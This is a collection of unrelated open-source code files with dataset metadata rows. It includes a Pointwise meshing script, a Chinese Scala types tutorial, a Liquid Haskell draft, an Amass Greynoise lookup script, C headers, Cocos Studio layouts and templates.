pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_13) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_15) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_17) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_5) apply [list [list $_BL(1) $_DM(9)] [list $_BL(2) $_DM(10)]]
pw::Application markUndoLevel {Set BC}
$_TMP(PW_3) apply [list [list $_BL(2) $_DM(5)] [list $_BL(1) $_DM(1)] [list $_BL(2) $_DM(4)] [list $_BL(1) $_DM(3)] [list $_BL(1) $_DM(6)] [list $_BL(2) $_DM(2)]]
pw::Application markUndoLevel {Set BC}
pw::Display resetView -Z
unset _TMP(PW_1)
unset _TMP(PW_3)
unset _TMP(PW_5)
unset _TMP(PW_7)
unset _TMP(PW_9)
unset _TMP(PW_11)
unset _TMP(PW_13)
unset _TMP(PW_15)
unset _TMP(PW_17)
# Unstructured background block
# Appended by Pointwise V18.4R2 - Mon Nov 15 09:18:13 2021
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::GridShape create]
set _BL(1) [pw::GridEntity getByName blk-3]
$_TMP(PW_1) box -width 92.2142948402 -height 46.1071474201 -length 46.1071474176
$_TMP(PW_1) setGridType Unstructured
$_TMP(PW_1) setTransform [list 1 0 0 0 0 1 0 0 0 0 1 0 23 0 -23.0535737088 1]
$_TMP(PW_1) setPivot Base
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities $_BL(1)
$_TMP(PW_1) clearSizeFieldEntities
$_TMP(PW_1) includeSizeFieldEntity $_BL(1) true
$_TMP(PW_1) updateGridEntities
set _CN(42) [pw::GridEntity getByName con-50]
set _CN(43) [pw::GridEntity getByName con-51]
set _CN(44) [pw::GridEntity getByName con-52]
set _CN(45) [pw::GridEntity getByName con-53]
set _CN(46) [pw::GridEntity getByName con-54]
set _CN(47) [pw::GridEntity getByName con-55]
set _CN(48) [pw::GridEntity getByName con-56]
set _CN(49) [pw::GridEntity getByName con-57]
set _CN(50) [pw::GridEntity getByName con-58]
set _CN(51) [pw::GridEntity getByName con-59]
set _CN(52) [pw::GridEntity getByName con-60]
set _CN(53) [pw::GridEntity getByName con-61]
set _DM(28) [pw::GridEntity getByName dom-36]
set _DM(29) [pw::GridEntity getByName dom-37]
set _DM(30) [pw::GridEntity getByName dom-38]
set _DM(31) [pw::GridEntity getByName dom-39]
set _DM(32) [pw::GridEntity getByName dom-40]
set _DM(33) [pw::GridEntity getByName dom-41]
set _BL(2) [pw::GridEntity getByName blk-5]
set _TMP(PW_2) [$_TMP(PW_1) getGridEntities]
unset _TMP(PW_2)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
set _TMP(PW_1) [pw::Collection create]
$_TMP(PW_1) set [list $_CN(44) $_CN(45) $_CN(46) $_CN(47) $_CN(48) $_CN(49) $_CN(50) $_CN(51) $_CN(52) $_CN(53) $_CN(43) $_CN(42)]
$_TMP(PW_1) do setDimensionFromSpacing -resetDistribution 4
$_TMP(PW_1) delete
unset _TMP(PW_1)
pw::CutPlane refresh
pw::Application markUndoLevel Dimension
pw::Entity delete [list $_BL(2)]
pw::Application markUndoLevel Delete
set _TMP(mode_1) [pw::Application begin Create]
set _BL(3) [pw::BlockStructured create]
$_TMP(mode_1) abort
unset _TMP(mode_1)
pw::Application setGridPreference Unstructured
set _TMP(mode_1) [pw::Application begin Create]
set _BL(4) [pw::BlockUnstructured create]
set _TMP(face_1) [pw::FaceUnstructured create]
$_TMP(face_1) addDomain $_DM(31)
$_TMP(face_1) addDomain $_DM(32)
$_TMP(face_1) addDomain $_DM(29)
$_TMP(face_1) addDomain $_DM(33)
$_TMP(face_1) addDomain $_DM(30)
$_TMP(face_1) addDomain $_DM(28)
$_BL(4) addFace $_TMP(face_1)
set _TMP(face_2) [pw::FaceUnstructured create]
$_TMP(face_2) addDomain $_DM(18)
$_TMP(face_2) addDomain $_DM(26)
$_TMP(face_2) addDomain $_DM(27)
$_TMP(face_2) addDomain $_DM(24)
$_TMP(face_2) addDomain $_DM(20)
unset _TMP(face_2)
unset _TMP(face_1)
$_TMP(mode_1) abort
unset _TMP(mode_1)
set _TMP(mode_1) [pw::Application begin Create]
set _BL(5) [pw::BlockUnstructured create]
set _TMP(face_1) [pw::FaceUnstructured create]
$_TMP(face_1) addDomain $_DM(32)
$_TMP(face_1) addDomain $_DM(28)
$_TMP(face_1) addDomain $_DM(30)
unset _TMP(face_1)
$_TMP(mode_1) abort
unset _TMP(mode_1)
set _TMP(mode_1) [pw::Application begin Create]
set _BL(6) [pw::BlockUnstructured create]
set _TMP(face_1) [pw::FaceUnstructured create]
$_TMP(face_1) addDomain $_DM(31)
$_TMP(face_1) addDomain $_DM(30)
$_TMP(face_1) addDomain $_DM(29)
$_TMP(face_1) addDomain $_DM(32)
$_TMP(face_1) addDomain $_DM(33)
$_TMP(face_1) addDomain $_DM(28)
$_BL(6) addFace $_TMP(face_1)
set _TMP(face_2) [pw::FaceUnstructured create]
$_TMP(face_2) addDomain $_DM(18)
$_TMP(face_2) addDomain $_DM(26)
$_TMP(face_2) addDomain $_DM(27)
$_TMP(face_2) addDomain $_DM(24)
$_TMP(face_2) addDomain $_DM(17)
$_TMP(face_2) addDomain -linkage [list 2 1 2 1 1 11 0] $_DM(21)
$_TMP(face_2) addDomain $_DM(20)
$_TMP(face_2) addDomain $_DM(25)
$_TMP(face_2) addDomain $_DM(23)
$_TMP(face_2) addDomain $_DM(22)
$_BL(6) addFace $_TMP(face_2)
$_TMP(mode_1) end
unset _TMP(mode_1)
unset _TMP(face_2)
unset _TMP(face_1)
pw::Application markUndoLevel {Assemble Block}
set _TMP(mode_1) [pw::Application begin UnstructuredSolver [list $_BL(6)]]
$_TMP(mode_1) setStopWhenFullLayersNotMet true
$_TMP(mode_1) setAllowIncomplete true
$_TMP(mode_1) run Initialize
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel Solve
| Glyph | 4 | marchdf/hybrid-amr-nalu-sphere | meshes/sphere_background.glf | [
"Apache-2.0"
] |
HTML from different view
| HTML+EEX | 2 | mrcasals/bamboo | test/support/templates/admin_email/text_and_html_from_different_view.html.eex | [
"MIT"
] |
#ifndef Py_WINREPARSE_H
#define Py_WINREPARSE_H
#ifdef MS_WINDOWS
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
/* The following structure was copied from
http://msdn.microsoft.com/en-us/library/ff552012.aspx as the required
include km\ntifs.h isn't present in the Windows SDK (at least as included
with Visual Studio Express). Use unique names to avoid conflicting with
the structure as defined by Min GW. */
typedef struct {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
};
} _Py_REPARSE_DATA_BUFFER, *_Py_PREPARSE_DATA_BUFFER;
#define _Py_REPARSE_DATA_BUFFER_HEADER_SIZE \
FIELD_OFFSET(_Py_REPARSE_DATA_BUFFER, GenericReparseBuffer)
#define _Py_MAXIMUM_REPARSE_DATA_BUFFER_SIZE ( 16 * 1024 )
// Defined in WinBase.h in 'recent' versions of Windows 10 SDK
#ifndef SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE
#define SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE 0x2
#endif
#ifdef __cplusplus
}
#endif
#endif /* MS_WINDOWS */
#endif /* !Py_WINREPARSE_H */
| C | 4 | shawwn/cpython | Modules/winreparse.h | [
"0BSD"
] |
---
prev: pattern-matching-and-functional-composition.textile
next: advanced-types.textile
title: 类型和多态基础
layout: post
---
课程内容:
* "什么是静态类型":#background
* "Scala中的类型":#scala
* "参数化多态性":#parametricpoly
* "类型推断: Hindley-Milner算法 vs. 局部类型推理":#inference
* "变性":#variance
* "边界":#bounds
* "量化":#quantification
h2(#background). 什么是静态类型?它们为什么有用?
按Pierce的话讲:“类型系统是一个语法方法,它们根据程序计算的值的种类对程序短语进行分类,通过分类结果错误行为进行自动检查。”
类型允许你表示函数的定义域和值域。例如,从数学角度看这个定义:
<pre>
f: R -> N
</pre>
它告诉我们函数“f”是从实数集到自然数集的映射。
抽象地说,这就是 _具体_ 类型的准确定义。类型系统给我们提供了一些更强大的方式来表达这些集合。
鉴于这些注释,编译器可以 _静态地_ (在编译时)验证程序是 _合理_ 的。也就是说,如果值(在运行时)不符合程序规定的约束,编译将失败。
一般说来,类型检查只能保证 _不合理_ 的程序不能编译通过。它不能保证每一个合理的程序都 _可以_ 编译通过。
随着类型系统表达能力的提高,我们可以生产更可靠的代码,因为它能够在我们运行程序之前验证程序的不变性(当然是发现类型本身的模型bug!)。学术界一直很努力地提高类型系统的表现力,包括值依赖(value-dependent)类型!
需要注意的是,所有的类型信息会在编译时被删去,因为它已不再需要。这就是所谓的擦除。
h2(#scala). Scala中的类型
Scala强大的类型系统拥有非常丰富的表现力。其主要特性有:
* *参数化多态性* 粗略地说,就是泛型编程
* *(局部)类型推断* 粗略地说,就是为什么你不需要这样写代码<code>val i: Int = 12: Int</code>
* *存在量化* 粗略地说,为一些没有名称的类型进行定义
* *视窗* 我们将下周学习这些;粗略地说,就是将一种类型的值“强制转换”为另一种类型
h2(#parametricpoly). 参数化多态性
多态性是在不影响静态类型丰富性的前提下,用来(给不同类型的值)编写通用代码的。
例如,如果没有参数化多态性,一个通用的列表数据结构总是看起来像这样(事实上,它看起来很像使用泛型前的Java):
<pre>
scala> 2 :: 1 :: "bar" :: "foo" :: Nil
res5: List[Any] = List(2, 1, bar, foo)
</pre>
现在我们无法恢复其中成员的任何类型信息。
<pre>
scala> res5.head
res6: Any = 2
</pre>
所以我们的应用程序将会退化为一系列类型转换(“asInstanceOf[]”),并且会缺乏类型安全的保障(因为这些都是动态的)。
多态性是通过指定 _类型变量_ 实现的。
<pre>
scala> def drop1[A](l: List[A]) = l.tail
drop1: [A](l: List[A])List[A]
scala> drop1(List(1,2,3))
res1: List[Int] = List(2, 3)
</pre>
h3. Scala有秩1多态性
粗略地说,这意味着在Scala中,有一些你想表达的类型概念“过于泛化”以至于编译器无法理解。假设你有一个函数
<pre>
def toList[A](a: A) = List(a)
</pre>
你希望继续泛型地使用它:
<pre>
def foo[A, B](f: A => List[A], b: B) = f(b)
</pre>
这段代码不能编译,因为所有的类型变量只有在调用上下文中才被固定。即使你“钉住”了类型<code>B</code>:
<pre>
def foo[A](f: A => List[A], i: Int) = f(i)
</pre>
...你也会得到一个类型不匹配的错误。
h2(#inference). 类型推断
静态类型的一个传统反对意见是,它有大量的语法开销。Scala通过 _类型推断_ 来缓解这个问题。
在函数式编程语言中,类型推断的经典方法是 _Hindley Milner算法_,它最早是实现在ML中的。
Scala类型推断系统的实现稍有不同,但本质类似:推断约束,并试图统一类型。
例如,在Scala中你无法这样做:
<pre>
scala> { x => x }
<console>:7: error: missing parameter type
{ x => x }
</pre>
而在OCaml中你可以:
<pre>
# fun x -> x;;
- : 'a -> 'a = <fun>
</pre>
在Scala中所有类型推断是 _局部的_ 。Scala一次分析一个表达式。例如:
<pre>
scala> def id[T](x: T) = x
id: [T](x: T)T
scala> val x = id(322)
x: Int = 322
scala> val x = id("hey")
x: java.lang.String = hey
scala> val x = id(Array(1,2,3,4))
x: Array[Int] = Array(1, 2, 3, 4)
</pre>
类型信息都保存完好,Scala编译器为我们进行了类型推断。请注意我们并不需要明确指定返回类型。
h2(#variance). 变性 Variance
Scala的类型系统必须同时解释类层次和多态性。类层次结构可以表达子类关系。在混合OO和多态性时,一个核心问题是:如果<tt>T'</tt>是<tt>T</tt>一个子类,<tt>Container[T']</tt>应该被看做是<tt>Container[T]</tt>的子类吗?变性(Variance)注解允许你表达类层次结构和多态类型之间的关系:
| |*含义* | *Scala 标记*|
|*协变covariant* |C[T']是 C[T] 的子类 | [+T]|
|*逆变contravariant* |C[T] 是 C[T']的子类 | [-T]|
|*不变invariant* |C[T] 和 C[T']无关 | [T]|
子类型关系的真正含义:对一个给定的类型T,如果T'是其子类型,你能替换它吗?
<pre>
scala> class Covariant[+A]
defined class Covariant
scala> val cv: Covariant[AnyRef] = new Covariant[String]
cv: Covariant[AnyRef] = Covariant@4035acf6
scala> val cv: Covariant[String] = new Covariant[AnyRef]
<console>:6: error: type mismatch;
found : Covariant[AnyRef]
required: Covariant[String]
val cv: Covariant[String] = new Covariant[AnyRef]
^
</pre>
<pre>
scala> class Contravariant[-A]
defined class Contravariant
scala> val cv: Contravariant[String] = new Contravariant[AnyRef]
cv: Contravariant[AnyRef] = Contravariant@49fa7ba
scala> val fail: Contravariant[AnyRef] = new Contravariant[String]
<console>:6: error: type mismatch;
found : Contravariant[String]
required: Contravariant[AnyRef]
val fail: Contravariant[AnyRef] = new Contravariant[String]
^
</pre>
逆变似乎很奇怪。什么时候才会用到它呢?令人惊讶的是,函数特质的定义就使用了它!
<pre>
trait Function1 [-T1, +R] extends AnyRef
</pre>
如果你仔细从替换的角度思考一下,会发现它是非常合理的。让我们先定义一个简单的类层次结构:
<pre>
scala> class Animal { val sound = "rustle" }
defined class Animal
scala> class Bird extends Animal { override val sound = "call" }
defined class Bird
scala> class Chicken extends Bird { override val sound = "cluck" }
defined class Chicken
</pre>
假设你需要一个以<code>Bird</code>为参数的函数:
<pre>
scala> val getTweet: (Bird => String) = // TODO
</pre>
标准动物库有一个函数满足了你的需求,但它的参数是<code>Animal</code>。在大多数情况下,如果你说“我需要一个___,我有一个___的子类”是可以的。但是,在函数参数这里是逆变的。如果你需要一个接受参数类型<code>Bird</code>的函数变量,但却将这个变量指向了接受参数类型为<code>Chicken</code>的函数,那么给它传入一个<code>Duck</code>时就会出错。然而,如果将该变量指向一个接受参数类型为<code>Animal</code>的函数就不会有这种问题:
<pre>
scala> val getTweet: (Bird => String) = ((a: Animal) => a.sound )
getTweet: Bird => String = <function1>
</pre>
函数的返回值类型是协变的。如果你需要一个返回<code>Bird</code>的函数,但指向的函数返回类型是<code>Chicken</code>,这当然是可以的。
<pre>
scala> val hatch: (() => Bird) = (() => new Chicken )
hatch: () => Bird = <function0>
</pre>
h2(#bounds). 边界
Scala允许你通过 _边界_ 来限制多态变量。这些边界表达了子类型关系。
<pre>
scala> def cacophony[T](things: Seq[T]) = things map (_.sound)
<console>:7: error: value sound is not a member of type parameter T
def cacophony[T](things: Seq[T]) = things map (_.sound)
^
scala> def biophony[T <: Animal](things: Seq[T]) = things map (_.sound)
biophony: [T <: Animal](things: Seq[T])Seq[java.lang.String]
scala> biophony(Seq(new Chicken, new Bird))
res5: Seq[java.lang.String] = List(cluck, call)
</pre>
类型下界也是支持的,这让逆变和巧妙协变的引入得心应手。<code>List[+T]</code>是协变的;一个Bird的列表也是Animal的列表。<code>List</code>定义一个操作<code>::(elem T)</code>返回一个加入了<code>elem</code>的新的<code>List</code>。新的<code>List</code>和原来的列表具有相同的类型:
<pre>
scala> val flock = List(new Bird, new Bird)
flock: List[Bird] = List(Bird@7e1ec70e, Bird@169ea8d2)
scala> new Chicken :: flock
res53: List[Bird] = List(Chicken@56fbda05, Bird@7e1ec70e, Bird@169ea8d2)
</pre>
<code>List</code> _同样_ 定义了<code>::[B >: T](x: B)</code> 来返回一个<code>List[B]</code>。请注意<code>B >: T</code>,这指明了类型<code>B</code>为类型<code>T</code>的超类。这个方法让我们能够做正确地处理在一个<code>List[Bird]</code>前面加一个<code>Animal</code>的操作:
<pre>
scala> new Animal :: flock
res59: List[Animal] = List(Animal@11f8d3a8, Bird@7e1ec70e, Bird@169ea8d2)
</pre>
注意返回类型是<code>Animal</code>。
h2(#quantification). 量化
有时候,你并不关心是否能够命名一个类型变量,例如:
<pre>
scala> def count[A](l: List[A]) = l.size
count: [A](List[A])Int
</pre>
这时你可以使用“通配符”取而代之:
<pre>
scala> def count(l: List[_]) = l.size
count: (List[_])Int
</pre>
这相当于是下面代码的简写:
<pre>
scala> def count(l: List[T forSome { type T }]) = l.size
count: (List[T forSome { type T }])Int
</pre>
注意量化会的结果会变得非常难以理解:
<pre>
scala> def drop1(l: List[_]) = l.tail
drop1: (List[_])List[Any]
</pre>
突然,我们失去了类型信息!让我们细化代码看看发生了什么:
<pre>
scala> def drop1(l: List[T forSome { type T }]) = l.tail
drop1: (List[T forSome { type T }])List[T forSome { type T }]
</pre>
我们不能使用T因为类型不允许这样做。
你也可以为通配符类型变量应用边界:
<pre>
scala> def hashcodes(l: Seq[_ <: AnyRef]) = l map (_.hashCode)
hashcodes: (Seq[_ <: AnyRef])Seq[Int]
scala> hashcodes(Seq(1,2,3))
<console>:7: error: type mismatch;
found : Int(1)
required: AnyRef
Note: primitive types are not implicitly converted to AnyRef.
You can safely force boxing by casting x.asInstanceOf[AnyRef].
hashcodes(Seq(1,2,3))
^
scala> hashcodes(Seq("one", "two", "three"))
res1: Seq[Int] = List(110182, 115276, 110339486)
</pre>
*参考* D. R. MacIver写的<a href="https://www.drmaciver.com/2008/03/existential-types-in-scala/">Scala中的存在类型</a>
| Textile | 5 | AstronomiaDev/scala_school | web/zh_cn/type-basics.textile | [
"Apache-2.0"
] |
-- @shouldFailWith OrphanKindDeclaration
module Main where
type Foo :: Type
| PureScript | 1 | andys8/purescript | tests/purs/failing/OrphanKindDeclaration1.purs | [
"BSD-3-Clause"
] |
SRC_DIR=./proto
DST_DIR=./proto
protoc -I=$SRC_DIR --python_out=$DST_DIR $SRC_DIR/*.proto
| Shell | 3 | seeclong/apollo | modules/tools/navigator/dbmap/setup.sh | [
"Apache-2.0"
] |
#ifndef LINKER_H
#define LINKER_H
int load_program(jq_state *jq, struct locfile* src, block *out_block);
jv load_module_meta(jq_state *jq, jv modname);
#endif
| C | 3 | aakropotkin/jq | src/linker.h | [
"CC-BY-3.0"
] |
-- Copyright 2021 Jeff Foley. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local json = require("json")
name = "Greynoise"
type = "api"
function start()
set_rate_limit(1)
end
function vertical(ctx, domain)
local resp, err = request(ctx, {['url']=build_url(domain)})
if (err ~= nil and err ~= "") then
log(ctx, "vertical request to service failed: " .. err)
return
end
local j = json.decode(resp)
if (j == nil or j.count == 0) then
return
end
for _, d in pairs(j.data) do
new_name(ctx, d.rdns)
new_addr(ctx, d.ip, d.rdns)
end
end
function build_url(domain)
return "https://greynoise-prod.herokuapp.com/enterprise/v2/experimental/gnql?size=1000&query=metadata.rdns:*." .. domain
end
| Ada | 4 | digitalsanctum/Amass | resources/scripts/api/greynoise.ads | [
"Apache-2.0"
] |
<GameFile>
<PropertyGroup Name="TableView" Type="Layer" ID="23410f2e-2ffa-4490-ba35-5eb7172f5c97" Version="3.10.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="0" Speed="1.0000" />
<ObjectData Name="Layer" Tag="12" ctype="GameLayerObjectData">
<Size X="720.0000" Y="960.0000" />
<Children>
<AbstractNodeData Name="table" ActionTag="1520823067" Tag="36" IconVisible="False" HorizontalEdge="BothEdge" VerticalEdge="BothEdge" TouchEnable="True" StretchWidthEnable="True" StretchHeightEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" ctype="PanelObjectData">
<Size X="720.0000" Y="960.0000" />
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.2778" Y="0.2083" />
<SingleColor A="255" R="42" G="42" B="42" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
</ObjectData>
</Content>
</Content>
</GameFile> | Csound | 2 | A29586a/Kirikiroid2 | cocos/kr2/cocosstudio/ui/TableView.csd | [
"BSD-3-Clause"
] |
module.exports = () => {
return (
!process.version.startsWith("v10.") && !process.version.startsWith("v12.")
);
};
| JavaScript | 3 | fourstash/webpack | test/configCases/externals/concatenated-module/test.filter.js | [
"MIT"
] |
---
layout: post
title: "Encoding Induction with Abstract Refinements"
date: 2013-02-20 16:12
comments: true
external-url:
categories: abstract-refinements
author: Niki Vazou
published: false
---
In this example, we explain how abstract refinements allow us to formalize
some kinds of structural induction within the type system.
\begin{code}
module Inductive where
\end{code}
Measures
--------
First, lets define an inductive data type `Vec`
\begin{code}
data Vec a = Nil | Cons a (Vec a)
\end{code}
And let us formalize a notion of _length_ for lists within the refinement logic.
To do so, we define a special `llen` measure by structural induction
\begin{code}
{-@ measure llen :: forall a. Vec a -> Int
llen (Nil) = 0
llen (Cons x xs) = 1 + llen(xs)
@-}
\end{code}
Note that the symbol `llen` is encoded as an _uninterpreted_ function in the refinement logic, and is, except for the congruence axiom, opaque to the SMT solver. The measures are guaranteed, by construction, to terminate, and so we can soundly use them as uninterpreted functions in the refinement logic. Notice also, that we can define _multiple_ measures for a type; in this case we simply conjoin the refinements from each measure when refining each data constructor.
As a warmup, lets check that a _real_ length function indeed computes the length of the list:
\begin{code}
{-@ sizeOf :: xs:Vec a -> {v: Int | v = llen(xs)} @-}
sizeOf :: Vec a -> Int
sizeOf Nil = 0
sizeOf (Cons _ xs) = 1 + sizeOf xs
\end{code}
With these strengthened constructor types, we can verify, for example, that `myappend` produces a list whose length is the sum of the input lists'
lengths:
\begin{code}
{-@ myappend :: l: (Vec a) -> m: (Vec a) -> {v: Vec a | llen(v)=llen(l)+llen(m)} @-}
myappend Nil zs = zs
myappend (Cons y ys) zs = Cons y (myappend ys zs)
\end{code}
\begin{code}However, consider an alternate definition of `myappend` that uses `foldr`
myappend' ys zs = foldr (:) zs ys
\end{code}
where `foldr :: (a -> b -> b) -> b -> [a] -> b`.
It is unclear how to give `foldr` a (first-order) refinement type that captures the rather complex fact that the fold-function is ''applied'' all over the list argument, or, that it is a catamorphism. Hence, hitherto, it has not been possible to verify the second definition of `append`.
Typing Folds
------------
Abstract refinements allow us to solve this problem with a very expressive type for _foldr_ whilst remaining firmly within the boundaries of SMT-based decidability. We write a slightly modified fold:
\begin{code}
{-@ efoldr :: forall a b <p :: x0:Vec a -> x1:b -> Prop>.
op:(xs:Vec a -> x:a -> b:b <p xs> ->
exists [xxs : {v: Vec a | v = (Inductive.Cons x xs)}].
b <p xxs>)
-> vs:(exists [zz: {v: Vec a | v = Inductive.Nil}]. b <p zz>)
-> ys: Vec a
-> b <p ys>
@-}
efoldr :: (Vec a -> a -> b -> b) -> b -> Vec a -> b
efoldr op b Nil = b
efoldr op b (Cons x xs) = op xs x (efoldr op b xs)
\end{code}
The trick is simply to quantify over the relationship `p` that `efoldr` establishes between the input list `xs` and the output `b` value. This is formalized by the type signature, which encodes an induction principle for lists:
the base value `b` must (1) satisfy the relation with the empty list, and the function `op` must take (2) a value that satisfies the relationship with the tail `xs` (we have added the `xs` as an extra "ghost" parameter to `op`), (3) a head value `x`, and return (4) a new folded value that satisfies the relationship with `x:xs`.
If all the above are met, then the value returned by `efoldr` satisfies the relation with the input list `ys`.
This scheme is not novel in itself --- what is new is the encoding, via uninterpreted predicate symbols, in an SMT-decidable refinement type system.
Using Folds
-----------
Finally, we can use the expressive type for the above `foldr` to verify various inductive properties of client functions:
\begin{code}
{-@ size :: xs:Vec a -> {v: Int | v = llen(xs)} @-}
size :: Vec a -> Int
size = efoldr (\_ _ n -> suc n) 0
{-@ suc :: x:Int -> {v: Int | v = x + 1} @-}
suc :: Int -> Int
suc x = x + 1
{-@
myappend' :: xs: Vec a -> ys: Vec a -> {v: Vec a | llen(v) = llen(xs) + llen(ys)}
@-}
myappend' xs ys = efoldr (\_ z zs -> Cons z zs) ys xs
\end{code}
\begin{code}The verification proceeds by just (automatically) instantiating the refinement parameter `p` of `efoldr` with the concrete refinements, via Liquid typing:
{\xs v -> v = llen(xs)} -- for size
{\xs v -> llen(v) = llen(xs) + llen(zs)} -- for myappend'
\end{code}
| Literate Haskell | 5 | curiousleo/liquidhaskell | docs/blog/todo/encoding-induction.lhs | [
"MIT",
"BSD-3-Clause"
] |
<!DOCTYPE html>
<html lang="en">
<body>
<#list cityList as city>
City: ${city.cityName}! <br>
Q:Why I like? <br>
A:${city.description}!
</#list>
</body>
</html> | FreeMarker | 3 | Clayburn6/Spring-Boot-Learning | springboot-freemarker/src/main/resources/web/cityList.ftl | [
"Apache-2.0"
] |
<html>
<body>
<h3>尊敬的, ${username}, 您好!</h3>
感谢您注册 paascloud快乐学习网, 请您在24小时内点击下面的认证链接, 完成账号邮箱认证。
${url}
过期后链接将会自动失效(如果无法点击该链接, 可以将链接复制并粘帖到浏览器的地址输入框, 然后单击回车即可)。
如果您已经通过验证了, 请忽略这封邮件。
该邮件为系统自动发出, 请勿回复!
paascloud.net
${dateTime}
Aug 8, 2017 2:05:58 PM
</body>
</html> | FreeMarker | 3 | ouyangchangxiu/paascloud-master | paascloud-provider/paascloud-provider-opc/src/main/resources/templates/mail/sendRegisterSuccessTemplate.ftl | [
"Apache-2.0"
] |
<GameProjectFile>
<PropertyGroup Type="Layer" Name="BattleLayer" ID="df56f77a-5216-4587-a690-9c3facf31085" Version="2.0.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="0" Speed="1" />
<ObjectData Name="Layer" CanEdit="False" FrameEvent="" ComboBoxIndex="1" ColorAngle="0" ctype="PanelObjectData">
<Position X="0" Y="0" />
<Scale ScaleX="1" ScaleY="1" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="640" Y="960" />
<PrePosition X="0" Y="0" />
<PreSize X="0" Y="0" />
<Children>
<NodeObjectData Name="ProjectNode_1" ActionTag="646374620" FrameEvent="" Tag="8840" ObjectIndex="1" IconVisible="True" ctype="ProjectNodeObjectData">
<Position X="0" Y="0" />
<Scale ScaleX="1" ScaleY="1" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="0" Y="0" />
<PrePosition X="0" Y="0" />
<PreSize X="0" Y="0" />
<FileData Type="Normal" Path="BattleBottom.csd" />
</NodeObjectData>
<NodeObjectData Name="ProjectNode_186" ActionTag="517017876" FrameEvent="" Tag="9703" ObjectIndex="186" IconVisible="True" ctype="ProjectNodeObjectData">
<Position X="0" Y="0" />
<Scale ScaleX="1" ScaleY="1" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="0" Y="0" />
<PrePosition X="0" Y="0" />
<PreSize X="0" Y="0" />
<FileData Type="Normal" Path="BattleTop.csd" />
</NodeObjectData>
<NodeObjectData Name="ProjectNode_187" ActionTag="515460910" FrameEvent="" Tag="9726" ObjectIndex="187" IconVisible="True" ctype="ProjectNodeObjectData">
<Position X="0" Y="0" />
<Scale ScaleX="1" ScaleY="1" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="0" Y="0" />
<PrePosition X="0" Y="0" />
<PreSize X="0" Y="0" />
<FileData Type="Normal" Path="Battle.csd" />
</NodeObjectData>
</Children>
<SingleColor A="255" R="0" G="0" B="0" />
<FirstColor A="255" R="0" G="0" B="0" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleX="1" ScaleY="-4.371139E-08" />
</ObjectData>
</Content>
</Content>
</GameProjectFile> | Csound | 2 | chukong/CocosStudioSamples | DemoMicroCardGame/CocosStudioResources/cocosstudio/BattleLayer.csd | [
"MIT"
] |
i 00001 02 24 77767 03 24 77766
i 00002 03 25 00001 02 37 00002
i 00003 02 35 00076 03 35 00076
i 00004 02 37 00076 02 35 00076
i 00005 00 010 2000 16 24 77401
i 00006 16 000 2400 16 37 00006
i 00007 00 010 0000 17 24 77401
i 00010 17 013 2400 17 37 00010
i 00011 00 012 0000 00 26 00076
i 00012 00 012 2000 00 27 00076
i 00013 16 24 77401 15 24 77401
i 00014 16 013 2400 16 37 00014
i 00015 00 012 0000 00 26 00076
i 00016 00 012 2000 00 27 00076
i 00017 15 013 2400 15 37 00017
i 00020 00 012 0000 00 26 00076
i 00021 00 012 2000 00 27 00076
i 00022 14 24 77401 13 24 77401
i 00023 14 013 2400 14 37 00023
i 00024 00 012 0000 00 26 00076
i 00025 00 012 2000 00 27 00076
i 00026 13 013 2400 13 37 00026
i 00027 00 012 0000 00 26 00076
i 00030 00 012 2000 00 27 00076
i 00031 12 24 77401 11 24 77401
i 00032 12 013 2400 12 37 00032
i 00033 00 012 0000 00 26 00076
i 00034 00 012 2000 00 27 00076
i 00035 11 013 2400 11 37 00035
i 00036 00 012 0000 00 26 00076
i 00037 00 012 2000 00 27 00076
i 00040 10 24 77401 07 24 77401
i 00041 10 013 2400 10 37 00041
i 00042 00 012 0000 00 26 00076
i 00043 00 012 2000 00 27 00076
i 00044 07 013 2400 07 37 00044
i 00045 00 012 0000 00 26 00076
i 00046 00 012 2000 00 27 00076
i 00047 06 24 77401 05 24 77401
i 00050 06 013 2400 06 37 00050
i 00051 00 012 0000 00 26 00076
i 00052 00 012 2000 00 27 00076
i 00053 05 013 2400 05 37 00053
i 00054 00 012 0000 00 26 00076
i 00055 00 012 2000 00 27 00076
i 00056 04 24 77401 03 24 77401
